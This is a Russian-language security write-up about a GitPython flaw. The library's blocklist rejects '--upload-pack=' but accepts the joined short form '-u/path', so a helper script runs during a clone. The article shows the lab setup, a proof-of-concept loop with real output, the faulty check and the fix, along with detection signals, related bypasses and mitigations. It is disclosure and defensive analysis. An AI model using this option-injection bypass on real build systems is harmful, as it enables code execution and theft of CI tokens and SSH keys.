У GitPython есть защита от опасных опций git. Если ваш код собирает команду клонирования из чего-то, что пришло снаружи, библиотека по умолчанию не даст протащить --upload-pack или --config, потому что через них выполняется произвольная команда. Защита включена сама, отключается только явным allow_unsafe_options=True.
Я передал ей --upload-pack=/srv/lab/helper.sh. Она отказала. Я передал то же самое в другой записи, -u/srv/lab/helper.sh, и она пропустила. Скрипт выполнился.
Это CVE-2026-67324, опубликована 1 августа 2026, оценка 9.8 по CVSS 3.1 и 9.3 по CVSS 4.0. Цифры пока от регистратора: свой анализ NVD ещё не проводил, запись висит в статусе Received, так что оценка может уехать. Уязвима версия 3.1.50, исправлено в 3.1.51.
Разберу ниже по шагам: стенд, обе попытки с настоящим выводом, код проверки и почему она промахнулась, что при этом видно снаружи. И отдельно то, что интереснее самой дыры: это третий обход одного и того же барьера за год, и корень у всех трёх один.
Почему это стоит вашего внимания
GitPython мало кто ставит осознанно. За месяц с PyPI её скачивают 254 миллиона раз при пяти тысячах звёзд на GitHub, и такой разрыв на два порядка означает ровно одно: она приезжает прицепом. С MLflow, с DVC, с bandit, с semgrep, с половиной самописных скриптов, которые что-то делают с репозиториями в CI.
Сразу очерчу границы, чтобы не пугать зря. Сам факт установки ничем не грозит. Дыра стреляет при двух условиях одновременно:
-
код вызывает
Repo.clone_from(..., multi_options=[...]), -
в
multi_optionsпопадает то, на что влияет посторонний.
Второе встречается чаще, чем кажется. Адрес репозитория из веб-формы, параметры сборки из конфига, который правит другая команда, поле в задаче CI, аргументы из webhook. Если вы при этом полагаетесь на allow_unsafe_options=False как на защиту, то полагаетесь зря.
Стенд
Ничего тяжёлого не нужно, ни докера, ни отдельной машины. Хватает виртуального окружения. У меня Python 3.13.5 и git 2.47.3.
Локальный репозиторий, который буду клонировать:
mkdir -p src && cd srcgit init -q -b main .echo "hello" > file.txtgit add -A && git commit -q -m init
Роль вредоносной нагрузки играет helper.sh. Он пишет маркер и передаёт управление настоящему git-upload-pack, чтобы клонирование не сломалось раньше, чем виден результат. Так нагляднее: атака проходит, а операция при этом выглядит успешной.
#!/bin/shecho "GITPYTHON_UNSAFE_OPTION_BYPASS $(id -un)@$(hostname) $(date -u +%FT%TZ)" > /tmp/pwned.txtexec git-upload-pack "$@"
И сценарий, который прогоняет обе формы записи одной и той же опции. Обратите внимание на allow_unsafe_options=False: я явно прошу библиотеку не пропускать опасное.
from git import Repofor opt in ("--upload-pack=" + LAB + "/helper.sh", "-u" + LAB + "/helper.sh"): Repo.clone_from(LAB + "/src", dst, multi_options=[opt], allow_unsafe_options=False)
Атака
Ставлю уязвимую версию и запускаю.
############ УЯЗВИМАЯ ВЕРСИЯ 3.1.50 ############GitPython: 3.1.50--- разделённая форма: --upload-pack=... --- отказ: UnsafeOptionError --upload-pack is not allowed, use `allow_unsafe_options=True` to allow it. помощник НЕ выполнялся, gate отработал--- СЛИТНАЯ короткая форма: -u... --- клонирование прошло !!! ПОМОЩНИК ВЫПОЛНЕН, содержимое маркера: GITPYTHON_UNSAFE_OPTION_BYPASS builder@ci-runner 2026-08-02T11:17:08Z
Первая форма заблокирована, и сообщение честное. Вторая прошла насквозь. В маркере имя пользователя, имя хоста и время: команда выполнилась с правами того процесса, который делал клонирование. В CI это обычно означает доступ к переменным окружения сборки, а там живут токены.
Отдельно отмечу, что клонирование при этом завершилось успешно. Никакой ошибки, никакого подозрительного поведения. Если бы я не писал маркер, а тихо отправил содержимое ~/.ssh наружу, в логах сборки не осталось бы ничего.
Почему проверка промахнулась
Открываю код. Проверка живёт в check_unsafe_options и опирается на функцию, которая приводит имя опции к каноническому виду:
option_name = option.lstrip("-").split("=", 1)[0]option_tokens = option_name.split(None, 1)return dashify(option_tokens[0])
Логика такая: срезать ведущие дефисы, отрезать значение после знака равенства, взять первое слово. Для --upload-pack=/srv/lab/helper.sh получится upload-pack, и это совпадёт с записью в списке запрещённых. Работает.
Теперь то же самое для -u/srv/lab/helper.sh. Дефис срезан, получилось u/srv/lab/helper.sh. Знака равенства нет, отрезать нечего. Пробела нет, первое слово это вся строка. На выходе u/srv/lab/helper.sh.
В списке запрещённых лежит u. Строки не совпадают. Опция считается безопасной.
Сама проверка в 3.1.50 занимает шесть строк и читается прекрасно:
canonical_unsafe_options = {cls._canonicalize_option_name(o): o for o in unsafe_options}for option in options: unsafe_option = canonical_unsafe_options.get(cls._canonicalize_option_name(option)) if unsafe_option is not None: raise UnsafeOptionError(...)
Словарь канонических имён, поиск по ключу. Ровно так, как написал бы почти каждый.
Проблема в допущении, которое здесь зашито: будто опция это имя, за которым может идти значение через знак равенства. У git синтаксис богаче. Короткий флаг умеет носить значение слитно. Длинную опцию можно сократить до однозначного префикса. Короткие флаги умеют склеиваться в группу. Проверка ничего этого не знает, а git знает.
Фикс в 3.1.51
Сначала неожиданное. Разработчики GitPython не тронули функцию канонизации вообще: в 3.1.50 и 3.1.51 она совпадает побайтово, тринадцать строк в обеих версиях. Значит и они пришли к тому же выводу, что дело не в нормализаторе.
Вместо этого они переписали проверку вокруг неё. Она выросла с шестнадцати строк до шестидесяти одной. Её собственная документация читается как признание, поэтому приведу целиком:
In addition to exact matches, this rejects abbreviated long options acceptedby Git (for example, ``--upl`` for ``--upload-pack``) and unsafe short optionswhose values are joined to the same token, including after clusterable flags(for example, ``-uVALUE`` and ``-fuVALUE``).
То есть теперь ловятся: сокращённые длинные формы, слитные значения коротких опций и слитные значения после группы флагов. При этом безопасные слитные значения вроде -oupstream и -bcurrent должны продолжать работать, иначе сломается обычный код. И отдельно различаются два случая: список уже нормализованных именованных аргументов и сырой ввод командной строки, потому что проверять их надо по-разному.
Из шести строк получился разборщик грамматики опций. Не потому, что автор любит сложность, а потому, что задача такой и была с самого начала.
Проверяю фикс на том же стенде, той же командой, ничего не меняя кроме версии библиотеки:
############ ИСПРАВЛЕННАЯ ВЕРСИЯ 3.1.51 ############GitPython: 3.1.51--- разделённая форма: --upload-pack=... --- отказ: UnsafeOptionError --upload-pack is not allowed помощник НЕ выполнялся, gate отработал--- СЛИТНАЯ короткая форма: -u... --- отказ: UnsafeOptionError -u is not allowed помощник НЕ выполнялся, gate отработал
Обе формы отбиты. Дыра закрыта.
Что видно снаружи
Выше я сказал, что в логах сборки не остаётся ничего. Это правда для логов приложения, но не для системы. Смотреть надо на процессы.
Я переписал помощник так, чтобы он записал собственную родословную в момент запуска. Это ровно то, что увидит любой сборщик телеметрии по дереву процессов. Пути ниже сокращены для читаемости, остальное как есть:
я: pid=836478 user=builderродословная: 836478 /bin/sh /srv/lab/helper.sh /srv/lab/src/.git 836477 /bin/sh -c /srv/lab/helper.sh '/srv/lab/src/.git' ... 836476 git clone -v -u/srv/lab/helper.sh -- /srv/lab/src /srv/lab/out 836473 python -
Вот и весь детект. При обычном клонировании git запускает git-upload-pack напрямую. Здесь между ними появляется /bin/sh, потому что значение опции передаётся оболочке. Git, порождающий шелл, это аномалия, и её видно без всякого разбора содержимого.
Два сигнала, которые стоит завести у себя:
Первый, по дереву процессов: git среди предков и sh или bash среди потомков при отсутствии хука в репозитории. Ловится и auditd, и любым агентом, который смотрит на execve.
Второй, по командной строке: в строке запуска git видно саму опцию.
git clone -v -u/srv/lab/helper.sh -- /srv/lab/src /srv/lab/out
То есть -u или --upload-pack в аргументах git на сборочном агенте это повод разбираться, независимо от версии библиотеки. Второй сигнал грубее, зато переживёт следующий обход того же барьера, а он будет.
Это не одна дыра, это третий заход
Самое интересное начинается, если посмотреть на историю этого барьера.
В декабре 2022 вышла CVE-2022-24439: вредоносный URL, попавший в команду клонирования, выполнял произвольный код. Ради неё и появился весь механизм с запретом опасных опций. Это отправная точка, а не обход.
Дальше за один 2026 год этот механизм обошли трижды.
Седьмого мая, CVE-2026-42284. Метод _clone() проверял multi_options как исходный список, а выполнял shlex.split(" ".join(multi_options)). То есть строка "--branch main --config core.hooksPath=/x" проходила проверку как один элемент списка, а при выполнении распадалась на две опции, и вторая была запрещённой.
В тот же день, CVE-2026-42215. Проверка знала дефисы, а именованные аргументы Python приезжают с подчёркиванием. upload_pack превращался в upload-pack уже после того, как проверка отработала.
И первого августа то, что разобрано выше.
Три разных обхода, один корень. Проверка смотрит на то, как опция записана. Git смотрит на то, во что она превращается. Между этими двумя моментами лежит нормализация, и каждый раз находился новый способ её пройти: склейка списка в строку, подчёркивание вместо дефиса, слитное значение у короткого флага.
Это шире GitPython. Ровно та же ошибка живёт в любом фильтре, который проверяет строку до того, как её разберёт настоящий потребитель. Списки запрещённых путей, которые не знают про %2e%2e и симлинки. Фильтры заголовков, не знающие про регистр и повторы. Валидация имени файла до того, как операционная система схлопнет слеши. Если проверяющий и исполняющий разбирают ввод по разным правилам, разница между ними это и есть уязвимость.
Проверьте у себя
Версия:
pip show GitPython | grep -i Version
Целевая версия 3.1.51 и новее. Более ранние уязвимы к другим обходам того же барьера, так что промежуточные варианты смысла не имеют.
Теперь найдите собственные вызовы, потому что опасна не установка, а использование:
grep -rn "clone_from" --include=*.py . | grep -i multi_options
Если нашлось, ответьте себе на один вопрос: может ли содержимое multi_options зависеть от того, кто присылает данные снаружи. Если да, обновление обязательно, и одного обновления мало.
Что стоит сделать сверх обновления:
Не собирайте опции из пользовательского ввода вообще. Если нужен выбор, держите на своей стороне список допустимых значений и подставляйте их сами, а не пропускайте чужую строку через фильтр.
Заведите отдельного пользователя для операций с репозиториями. Клонирование не должно идти под тем же процессом, который держит боевые токены.
Смотрите на исходящие соединения и на неожиданные дочерние процессы у сборочного агента. Это тот сигнал, который переживёт следующую дыру такого класса, а она будет.
Вывод
Дыра здесь не в регулярном выражении и не в списке запрещённых опций. Дыра в допущении, что можно проверить строку, не разобрав её так же, как разберёт тот, кто будет её исполнять.
Пока проверка и исполнение читают ввод по разным правилам, обходы будут находиться. Не потому, что авторы невнимательны, а потому что грамматика ввода сложнее, чем кажется тому, кто пишет фильтр. Три обхода за год в одной небольшой библиотеке это не про качество кода, это про выбранный подход.
Надёжнее не фильтровать чужое, а не пускать чужое туда, где оно становится командой.
Источники
-
Рекомендация разработчиков GitPython: GHSA-v396-v7q4-x2qj
-
Запись в NVD: CVE-2026-67324
-
Разбор от VulnCheck: gitpython-authentication-bypass-via-joined-short-options
Стенд, на котором всё воспроизводилось, собирается одним скриптом, команды приведены выше по тексту полностью.
ссылка на оригинал статьи https://habr.com/ru/articles/1066110/